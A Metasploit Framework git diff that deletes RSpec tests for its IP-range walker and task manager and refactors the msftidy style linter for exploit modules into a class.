walker = Rex::Socket::RangeWalker.new("10.1.1.1,3")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 2
|
||||||
|
walker.should_not include("10.1.1.2")
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should produce the same ranges with * and 0-255" do
|
||||||
|
a = Rex::Socket::RangeWalker.new("10.1.3.*")
|
||||||
|
b = Rex::Socket::RangeWalker.new("10.1.3.0-255")
|
||||||
|
a.ranges.should eq(b.ranges)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should handle ranges and lists together" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 3
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 4
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6")
|
||||||
|
walker.length.should == 8
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should handle cidr" do
|
||||||
|
31.downto 16 do |bits|
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.1.1/#{bits}")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == (2**(32-bits))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should yield all ips" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.1.1,2,3")
|
||||||
|
got = []
|
||||||
|
walker.each { |ip|
|
||||||
|
got.push ip
|
||||||
|
}
|
||||||
|
got.should == ["10.1.1.1", "10.1.1.2", "10.1.1.3"]
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,131 +0,0 @@
|
||||||
$:.push("../../lib")
|
|
||||||
require 'rex'
|
|
||||||
require 'rex/socket'
|
|
||||||
require 'rex/socket/range_walker'
|
|
||||||
|
|
||||||
describe Rex::Socket::RangeWalker do
|
|
||||||
it "should have a num_ips attribute" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("")
|
|
||||||
walker.should respond_to("num_ips")
|
|
||||||
walker.should respond_to("length")
|
|
||||||
walker.num_ips.should == walker.length
|
|
||||||
end
|
|
||||||
it "should handle single ipv6 addresses" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("::1")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 1
|
|
||||||
end
|
|
||||||
it "should handle ranges" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 2
|
|
||||||
walker.next_ip.should == "10.1.1.1"
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 4
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 8
|
|
||||||
walker.should include("10.1.3.5")
|
|
||||||
# Slow test on a 3.06 GHz proc
|
|
||||||
# ruby 1.9, ~ 11 seconds
|
|
||||||
# ruby 1.8.7, ~ 24 seconds
|
|
||||||
# ruby 1.8.6, ~ 23 seconds
|
|
||||||
#walker = Rex::Socket::RangeWalker.new("10.0-255.0-255.0-255")
|
|
||||||
#walker.should be_valid
|
|
||||||
#walker.length.should == 256 * 256 * 256
|
|
||||||
end
|
|
||||||
it "should default the lower bound of a range to 0" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.3.-17")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 18
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.3.-255")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 256
|
|
||||||
end
|
|
||||||
it "should default the upper bound of a range to 255" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.3.254-")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 2
|
|
||||||
end
|
|
||||||
it "should handle lists" do
|
|
||||||
#walker = Rex::Socket::RangeWalker.new("10.1.1.1,2")
|
|
||||||
#walker.should be_valid
|
|
||||||
#walker.length.should == 2
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 1
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1,3")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 2
|
|
||||||
walker.should_not include("10.1.1.2")
|
|
||||||
end
|
|
||||||
it "should handle ranges and lists together" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 3
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 4
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6")
|
|
||||||
walker.length.should == 8
|
|
||||||
end
|
|
||||||
it "should handle cidr" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/31")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 2
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/30")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 4
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/29")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 8
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/28")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 16
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/27")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 32
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/26")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 64
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/25")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 128
|
|
||||||
pending("Decide whether cidr_crack should include 0")
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/24")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 256
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1/23")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 512
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should handle ipv6 cidr" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("::1/127")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 2
|
|
||||||
walker = Rex::Socket::RangeWalker.new("::1/122")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 2 ** 6
|
|
||||||
walker = Rex::Socket::RangeWalker.new("::1/116")
|
|
||||||
walker.should be_valid
|
|
||||||
walker.length.should == 2 ** 12
|
|
||||||
end
|
|
||||||
|
|
||||||
#it "should handle ipv6 ranges" do
|
|
||||||
# pending("Need to define how this should be handled")
|
|
||||||
# walker = Rex::Socket::RangeWalker.new("::1-::1:1")
|
|
||||||
# walker.should be_valid
|
|
||||||
# walker.length.should == 2 ** 16
|
|
||||||
#end
|
|
||||||
|
|
||||||
it "should yield all ips" do
|
|
||||||
walker = Rex::Socket::RangeWalker.new("10.1.1.1,2,3")
|
|
||||||
got = []
|
|
||||||
walker.each { |ip|
|
|
||||||
got.push ip
|
|
||||||
}
|
|
||||||
got.should == ["10.1.1.1", "10.1.1.2", "10.1.1.3"]
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,102 +0,0 @@
|
||||||
$:.push("../../lib")
|
|
||||||
|
|
||||||
require 'testbase'
|
|
||||||
require 'msf/core/task_manager'
|
|
||||||
|
|
||||||
describe Msf::TaskManager do
|
|
||||||
it "should have attributes" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
tm.should respond_to("processing")
|
|
||||||
tm.should respond_to("queue")
|
|
||||||
tm.should respond_to("thread")
|
|
||||||
tm.should respond_to("framework")
|
|
||||||
tm.should respond_to("processing=")
|
|
||||||
tm.should respond_to("queue=")
|
|
||||||
tm.should respond_to("thread=")
|
|
||||||
tm.should respond_to("framework=")
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should initialize with an empty queue" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
tm.queue.length.should == 0
|
|
||||||
tm.backlog.should == 0
|
|
||||||
tm.backlog.should == tm.queue.length
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should add items to the queue and process them" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 1
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 2
|
|
||||||
tm.start
|
|
||||||
sleep(0.5)
|
|
||||||
tm.backlog.should == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should add items to the queue and flush them" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 1
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 2
|
|
||||||
tm.flush
|
|
||||||
tm.backlog.should == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should start and stop" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 1
|
|
||||||
tm.start
|
|
||||||
sleep(0.5)
|
|
||||||
tm.backlog.should == 0
|
|
||||||
tm.stop
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 1
|
|
||||||
sleep(0.5)
|
|
||||||
tm.queue_proc(Proc.new{ })
|
|
||||||
tm.backlog.should == 2
|
|
||||||
tm.start
|
|
||||||
sleep(0.5)
|
|
||||||
tm.backlog.should == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should handle task timeouts" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { sleep(30) })
|
|
||||||
t.timeout = 0.1
|
|
||||||
|
|
||||||
tm.start
|
|
||||||
tm.queue_task(t)
|
|
||||||
sleep(0.5)
|
|
||||||
|
|
||||||
t.status.should == :timeout
|
|
||||||
t.duration.should <= 1.0
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should handle task exceptions" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { asdf1234() })
|
|
||||||
|
|
||||||
tm.start
|
|
||||||
tm.queue_task(t)
|
|
||||||
sleep(0.5)
|
|
||||||
|
|
||||||
t.status.should == :dropped
|
|
||||||
t.exception.class.should == ::NoMethodError
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should handle a bad proc return" do
|
|
||||||
tm = Msf::TaskManager.new($msf)
|
|
||||||
t = Msf::TaskManager::Task.new(Proc.new { return 12345 })
|
|
||||||
|
|
||||||
tm.start
|
|
||||||
tm.queue_task(t)
|
|
||||||
sleep(0.5)
|
|
||||||
|
|
||||||
t.status.should == :done
|
|
||||||
t.exception.should == nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
398
tools/msftidy.rb
398
tools/msftidy.rb
|
@ -6,13 +6,6 @@
|
||||||
# by jduck and friends
|
# by jduck and friends
|
||||||
#
|
#
|
||||||
|
|
||||||
##
|
|
||||||
#
|
|
||||||
# Supporting sub-routines
|
|
||||||
#
|
|
||||||
##
|
|
||||||
|
|
||||||
LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long
|
|
||||||
CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES']
|
CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES']
|
||||||
|
|
||||||
if CHECK_OLD_RUBIES
|
if CHECK_OLD_RUBIES
|
||||||
|
@ -20,223 +13,232 @@ if CHECK_OLD_RUBIES
|
||||||
warn "This is going to take a while, depending on the number of Rubies you have installed."
|
warn "This is going to take a while, depending on the number of Rubies you have installed."
|
||||||
end
|
end
|
||||||
|
|
||||||
def show_count(f, txt, num)
|
class String
|
||||||
puts "%s ... %s: %u" % [f, txt, num] if num > 0
|
def red
|
||||||
end
|
"\e[1;31;40m#{self}\e[0m"
|
||||||
|
|
||||||
def show_missing(f, txt, val)
|
|
||||||
puts '%s ... %s' % [f, txt] if not val
|
|
||||||
end
|
|
||||||
|
|
||||||
# This check is only enabled if the environment variable MSF_CHECK_OLD_RUBIES is set
|
|
||||||
def test_old_rubies(f_rel)
|
|
||||||
return true unless CHECK_OLD_RUBIES
|
|
||||||
return true unless Object.const_defined? :RVM
|
|
||||||
puts "Checking syntax for #{f_rel}."
|
|
||||||
@rubies ||= RVM.list_strings
|
|
||||||
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
|
|
||||||
@rubies.size == res.size
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def check_single_file(dparts, fparts, f_rel)
|
|
||||||
f = (dparts + fparts).join('/')
|
|
||||||
# puts "Checking: #{f.inspect}"
|
|
||||||
|
|
||||||
# Put some kind of blacklist mechanism here, yaml config would be nice...
|
|
||||||
|
|
||||||
# check for executable
|
|
||||||
f_exec = File.executable?(f_rel)
|
|
||||||
show_missing(f, "WARNING: is executable", !f_exec)
|
|
||||||
|
|
||||||
# check all installed rubies
|
|
||||||
|
|
||||||
old_rubies = test_old_rubies(f_rel)
|
|
||||||
show_missing(f, "ERROR: fails alternate Ruby version check", old_rubies)
|
|
||||||
|
|
||||||
|
|
||||||
# check various properties based on content
|
|
||||||
content = File.open(f_rel, "rb").read
|
|
||||||
|
|
||||||
# check criteria based on whole content
|
|
||||||
if content =~ / \< Msf::Exploit/
|
|
||||||
has_rank = false
|
|
||||||
has_dd = false
|
|
||||||
|
|
||||||
has_rank = true if content =~ /Rank =/
|
|
||||||
has_dd = true if content =~ /DisclosureDate/ or content =~ /Generic Payload Handler/
|
|
||||||
|
|
||||||
show_missing(f, 'ERROR: missing exploit ranking', has_rank)
|
|
||||||
show_missing(f, 'ERROR: missing disclosure date', has_dd)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Check disclosure date format
|
def yellow
|
||||||
if content =~ /'DisclosureDate' => ['|\"](.+)['|\"]/
|
"\e[1;33;40m#{self}\e[0m"
|
||||||
d = $1 #Captured date
|
end
|
||||||
# Flag if overall format is wrong
|
end
|
||||||
if d =~ /^... \d{1,2} \d{4}/
|
|
||||||
# Flag if month format is wrong
|
class Msftidy
|
||||||
m = d.split[0]
|
|
||||||
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
|
LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long
|
||||||
if months.index(m).nil?
|
|
||||||
show_missing(f, 'WARNING: incorrect disclosure month format', false)
|
def initialize(source_file)
|
||||||
|
@source = load_file(source_file)
|
||||||
|
@name = source_file
|
||||||
|
end
|
||||||
|
|
||||||
|
public
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# The following two functions only print what you throw at them.
|
||||||
|
# With an option of displaying the line number.
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
def warn(txt, line=0)
|
||||||
|
line_msg = (line>0) ? ":#{line.to_s}" : ''
|
||||||
|
puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def error(txt, line=0)
|
||||||
|
line_msg = (line>0) ? ":#{line.to_s}" : ''
|
||||||
|
puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}"
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# The functions below are actually the ones checking the source code
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
def check_extname
|
||||||
|
if File.extname(@name) != '.rb'
|
||||||
|
error("Module should be a '.rb' file, or it won't load.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_old_rubies(f_rel)
|
||||||
|
return true unless CHECK_OLD_RUBIES
|
||||||
|
return true unless Object.const_defined? :RVM
|
||||||
|
puts "Checking syntax for #{f_rel}."
|
||||||
|
rubies ||= RVM.list_strings
|
||||||
|
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
|
||||||
|
rubies.size == res.size
|
||||||
|
|
||||||
|
error("Fails alternate Ruby version check") if rubies.size
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_ranking
|
||||||
|
return if @source !~ / \< Msf::Exploit/
|
||||||
|
|
||||||
|
available_ranks = [
|
||||||
|
'ManualRanking',
|
||||||
|
'LowRanking',
|
||||||
|
'AverageRanking',
|
||||||
|
'NormalRanking',
|
||||||
|
'GoodRanking',
|
||||||
|
'GreatRanking',
|
||||||
|
'ExcellentRanking'
|
||||||
|
]
|
||||||
|
|
||||||
|
if @source =~ /Rank \= (\w+)/
|
||||||
|
if not available_ranks.include?($1)
|
||||||
|
error("Invalid ranking. You have '#{$1}'")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_disclosure_date
|
||||||
|
return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/
|
||||||
|
|
||||||
|
# Check disclosure date format
|
||||||
|
if @source =~ /'DisclosureDate'.*\=\>[\x0d|\x20]*['|\"](.+)['|\"]/
|
||||||
|
d = $1 #Captured date
|
||||||
|
# Flag if overall format is wrong
|
||||||
|
if d =~ /^... \d{1,2}\,* \d{4}/
|
||||||
|
# Flag if month format is wrong
|
||||||
|
m = d.split[0]
|
||||||
|
months = [
|
||||||
|
'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
|
||||||
|
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'
|
||||||
|
]
|
||||||
|
|
||||||
|
error('Incorrect disclosure month format') if months.index(m).nil?
|
||||||
|
else
|
||||||
|
error('Incorrect disclosure date format')
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
show_missing(f, 'WARNING: incorrect disclosure date format', false)
|
error('Exploit is missing a disclosure date')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Check title format
|
def check_title_format
|
||||||
if content =~ /'Name'\s+=>\s[\x22\x27](.+)[\x22\x27],\s*$/
|
if @source =~ /'Name'\s+=>\s[\x22\x27](.+)[\x22\x27],\s*$/
|
||||||
name = $1
|
name = $1
|
||||||
words = $1.split
|
words = $1.split
|
||||||
[words.first, words.last].each do |word|
|
[words.first, words.last].each do |word|
|
||||||
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
|
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
|
||||||
next if word =~ /php[A-Z]/
|
next if word =~ /php[A-Z]/
|
||||||
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word
|
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word
|
||||||
show_missing(f, "WARNING: bad capitalization in module title: #{word}", false)
|
warn("Improper capitalization in module title: '#{word}...'")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# If an exploit module mentinos the word "stack overflow", chances are they mean "stack buffer overflow".
|
def check_bad_terms
|
||||||
# "stack overflow" means "stack exhaustion". See explanation:
|
# "Stack overflow" vs "Stack buffer overflow" - See explanation:
|
||||||
# http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx
|
# http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx
|
||||||
bad_term = true
|
if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
|
||||||
if content =~ /class Metasploit\d < Msf::Exploit::Remote/ and content.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
|
warn('Contains "stack overflow" You mean "stack buffer overflow"?')
|
||||||
bad_term = false
|
elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
|
||||||
show_missing(f, 'WARNING: contains "stack overflow" You mean "stack buffer overflow"?', bad_term)
|
warn('Contains "stack overflow" You mean "stack exhaustion"?')
|
||||||
elsif content =~ /class Metasploit\d < Msf::Auxiliary/ and content.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
|
|
||||||
bad_term = false
|
|
||||||
show_missing(f, 'WARNING: contains "stack overflow" You mean "stack exhaustion"?', bad_term)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Check function naming style and arg length
|
|
||||||
functions = content.scan(/def (\w+)\(*(.+)\)*/)
|
|
||||||
|
|
||||||
functions.each do |func_name, args|
|
|
||||||
=begin
|
|
||||||
# Check Ruby variable naming style
|
|
||||||
if func_name =~ /[a-z][A-Z]/ or func_name =~ /[A-Z][a-z]/
|
|
||||||
show_missing(f, "WARNING: Poor function naming style for: '#{func_name}'", false)
|
|
||||||
end
|
|
||||||
=end
|
|
||||||
|
|
||||||
# Check argument length
|
|
||||||
args_length = args.split(",").length
|
|
||||||
if args_length > 6
|
|
||||||
show_missing(f, "WARNING: Poorly designed argument list in '#{func_name}'. Try a hash.", false)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
=begin
|
def check_function_basics
|
||||||
vars = content.scan(/([\x20|\w]+) \= [\'|\"]*\w[\'|\"]*/).flatten
|
functions = @source.scan(/def (\w+)\(*(.+)\)*/)
|
||||||
vars.each do |v|
|
|
||||||
v = v.strip
|
functions.each do |func_name, args|
|
||||||
next if v =~ /^var/ or v =~ /^Rank/
|
# Check argument length
|
||||||
if v =~ /[a-z][A-Z]/ or v =~ /[A-Z][a-z]/
|
args_length = args.split(",").length
|
||||||
show_missing(f, "WARNING: Poor variable naming style for: '#{v}'", false)
|
warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
=end
|
|
||||||
|
|
||||||
# check criteria based on individual lines
|
def check_lines
|
||||||
spaces = 0
|
url_ok = true
|
||||||
bi = []
|
no_stdio = true
|
||||||
ll = []
|
in_comment = false
|
||||||
bc = []
|
in_literal = false
|
||||||
cr = 0
|
src_ended = false
|
||||||
url_ok = true
|
idx = 0
|
||||||
nbo = 0 # non-bin open
|
|
||||||
long_lines = 0
|
|
||||||
no_stdio = true
|
|
||||||
|
|
||||||
in_comment = false
|
@source.each_line { |ln|
|
||||||
in_literal = false
|
idx += 1
|
||||||
src_ended = false
|
|
||||||
|
|
||||||
idx = 0
|
# block comment awareness
|
||||||
content.each_line { |ln|
|
if ln =~ /^=end$/
|
||||||
idx += 1
|
in_comment = false
|
||||||
|
next
|
||||||
# block comment awareness
|
|
||||||
if ln =~ /^=end$/
|
|
||||||
in_comment = false
|
|
||||||
next
|
|
||||||
end
|
|
||||||
in_comment = true if ln =~ /^=begin$/
|
|
||||||
next if in_comment
|
|
||||||
|
|
||||||
# block string awareness (ignore indentation in these)
|
|
||||||
in_literal = false if ln =~ /^EOS$/
|
|
||||||
next if in_literal
|
|
||||||
in_literal = true if ln =~ /\<\<-EOS$/
|
|
||||||
|
|
||||||
# ignore stuff after an __END__ line
|
|
||||||
src_ended = true if ln =~ /^__END__$/
|
|
||||||
next if src_ended
|
|
||||||
|
|
||||||
if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/
|
|
||||||
bc << [ idx, ln.inspect]
|
|
||||||
end
|
|
||||||
|
|
||||||
if (ln.length > LONG_LINE_LENGTH)
|
|
||||||
ll << [ idx, ln ]
|
|
||||||
end
|
|
||||||
|
|
||||||
spaces += 1 if ln =~ /[ \t]$/
|
|
||||||
if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.include?(' '))
|
|
||||||
bi << [ idx, ln ]
|
|
||||||
end
|
|
||||||
cr += 1 if ln =~ /\r$/
|
|
||||||
url_ok = false if ln =~ /\.com\/projects\/Framework/
|
|
||||||
if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/
|
|
||||||
if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/
|
|
||||||
nbo += 1
|
|
||||||
end
|
end
|
||||||
end
|
in_comment = true if ln =~ /^=begin$/
|
||||||
|
next if in_comment
|
||||||
|
|
||||||
# The rest of these only count if it's not a comment line
|
# block string awareness (ignore indentation in these)
|
||||||
next if ln =~ /[[:space:]]*#/
|
in_literal = false if ln =~ /^EOS$/
|
||||||
|
next if in_literal
|
||||||
|
in_literal = true if ln =~ /\<\<-EOS$/
|
||||||
|
|
||||||
if ln =~ /\$std(?:out|err)/ or ln =~ /[[:space:]]puts/
|
# ignore stuff after an __END__ line
|
||||||
no_stdio = false
|
src_ended = true if ln =~ /^__END__$/
|
||||||
end
|
next if src_ended
|
||||||
}
|
|
||||||
|
|
||||||
# report information for this file
|
if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/
|
||||||
show_count(f, 'WARNING: spaces at EOL', spaces)
|
error("Unicode detected: #{ln.inspect}", idx)
|
||||||
if bi.length > 0
|
end
|
||||||
puts '%s ... bad indent: %u' % [f, bi.length]
|
|
||||||
bi.each { |el|
|
if (ln.length > LONG_LINE_LENGTH)
|
||||||
el[1] = el[1].inspect
|
warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx)
|
||||||
puts ' %8d: %s' % el
|
end
|
||||||
|
|
||||||
|
if ln =~ /[ \t]$/
|
||||||
|
warn("Spaces at EOL", idx)
|
||||||
|
end
|
||||||
|
|
||||||
|
if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.include?(' '))
|
||||||
|
warn("Bad indent: #{ln.inspect}", idx)
|
||||||
|
end
|
||||||
|
|
||||||
|
if ln =~ /\r$/
|
||||||
|
warn("Carriage return EOL", idx)
|
||||||
|
end
|
||||||
|
|
||||||
|
url_ok = false if ln =~ /\.com\/projects\/Framework/
|
||||||
|
if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/
|
||||||
|
if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/
|
||||||
|
warn("File.open without binary mode", idx)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# The rest of these only count if it's not a comment line
|
||||||
|
next if ln =~ /[[:space:]]*#/
|
||||||
|
|
||||||
|
if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/
|
||||||
|
no_stdio = false
|
||||||
|
error("Writes to stdout", idx)
|
||||||
|
end
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
if ll.length > 0
|
private
|
||||||
puts "WARNING: %s ... lines longer than #{LONG_LINE_LENGTH} columns: %u" % [f, ll.length]
|
|
||||||
ll.each { |el|
|
|
||||||
el[1] = el[1].inspect
|
|
||||||
puts ' %8d: %s' % el
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
if bc.length > 0
|
def load_file(file)
|
||||||
puts "ERROR: %s ... probably has unicode: %u" % [f, bc.length]
|
f = open(file, 'rb')
|
||||||
bc.each { |ec|
|
buf = f.read(f.stat.size)
|
||||||
ec[1] = ec[1].inspect
|
f.close
|
||||||
puts ' %8d: %s' % ec
|
return buf
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
show_count(f, 'WARNING: carriage return EOL', cr)
|
|
||||||
show_missing(f, 'WARNING: incorrect URL to framework site', url_ok)
|
|
||||||
show_missing(f, 'ERROR: writes to stdout', no_stdio)
|
|
||||||
show_count(f, 'WARNING: File.open without binary mode', nbo)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def run_checks(f_rel)
|
||||||
|
tidy = Msftidy.new(f_rel)
|
||||||
|
tidy.check_extname
|
||||||
|
tidy.test_old_rubies(f_rel)
|
||||||
|
tidy.check_ranking
|
||||||
|
tidy.check_disclosure_date
|
||||||
|
tidy.check_title_format
|
||||||
|
tidy.check_bad_terms
|
||||||
|
tidy.check_function_basics
|
||||||
|
tidy.check_lines
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
@ -247,13 +249,11 @@ end
|
||||||
dirs = ARGV
|
dirs = ARGV
|
||||||
|
|
||||||
if dirs.length < 1
|
if dirs.length < 1
|
||||||
$stderr.puts "usage: #{File.basename(__FILE__)} <directory or file>"
|
$stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>"
|
||||||
exit(1)
|
exit(1)
|
||||||
end
|
end
|
||||||
|
|
||||||
dirs.each { |dir|
|
dirs.each { |dir|
|
||||||
# process all args
|
|
||||||
|
|
||||||
f = nil
|
f = nil
|
||||||
old_dir = nil
|
old_dir = nil
|
||||||
|
|
||||||
|
@ -273,11 +273,11 @@ dirs.each { |dir|
|
||||||
|
|
||||||
# Only one file?
|
# Only one file?
|
||||||
if f
|
if f
|
||||||
check_single_file(dparts, [ f ], f)
|
run_checks(f)
|
||||||
else
|
else
|
||||||
# Do a recursive check of the specified directory
|
# Do a recursive check of the specified directory
|
||||||
Dir.glob('**/*.rb') { |f|
|
Dir.glob('**/*.rb') { |f|
|
||||||
check_single_file(dparts, f.split('/'), f)
|
run_checks(f)
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue